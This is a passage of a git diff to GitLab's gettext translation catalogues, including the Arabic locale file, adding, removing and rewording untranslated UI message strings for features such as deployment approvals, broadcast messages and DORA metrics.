msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index c7f019c4b7b..189517b93ce 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:43\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -1114,6 +1114,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1186,6 +1189,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1321,6 +1327,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1342,6 +1354,15 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1396,9 +1417,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1540,15 +1558,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -2069,7 +2078,7 @@ msgstr[4] ""
msgstr[5] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2308,6 +2317,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2452,9 +2464,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2503,9 +2512,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2665,7 +2671,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2743,6 +2749,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -3121,15 +3130,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -3211,9 +3223,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -3241,6 +3262,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3295,6 +3322,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3364,6 +3394,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3451,6 +3484,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3538,9 +3574,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3586,6 +3619,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3832,7 +3868,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3877,6 +3913,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -4135,6 +4174,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4777,9 +4819,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4948,15 +4987,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4990,9 +5020,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -5248,6 +5275,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5398,9 +5437,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5494,6 +5530,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5650,6 +5689,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -6217,6 +6259,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -6232,12 +6277,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7825,9 +7876,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8428,6 +8563,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8539,13 +8677,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8836,6 +8971,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8995,12 +9133,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -9184,6 +9316,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9313,6 +9448,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9415,12 +9553,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -10090,21 +10234,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10597,6 +10726,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11500,6 +11632,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11893,6 +12028,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12793,6 +12931,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12817,6 +12958,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12829,7 +12973,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12850,6 +12997,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12871,6 +13024,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12889,6 +13048,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12910,6 +13078,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12919,6 +13093,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12934,9 +13111,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13858,11 +14032,14 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13939,6 +14116,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -14332,9 +14512,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14350,6 +14536,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14437,6 +14629,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14710,7 +14908,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14935,6 +15133,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15442,6 +15643,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16639,10 +16843,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16651,9 +16852,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -17155,9 +17353,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -17191,9 +17386,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17521,9 +17713,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17953,9 +18142,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -18274,16 +18460,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18385,6 +18568,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -19051,9 +19237,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19471,6 +19654,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19483,6 +19669,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19507,6 +19699,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19525,6 +19720,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19537,9 +19735,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19864,6 +20068,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -20026,7 +20236,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
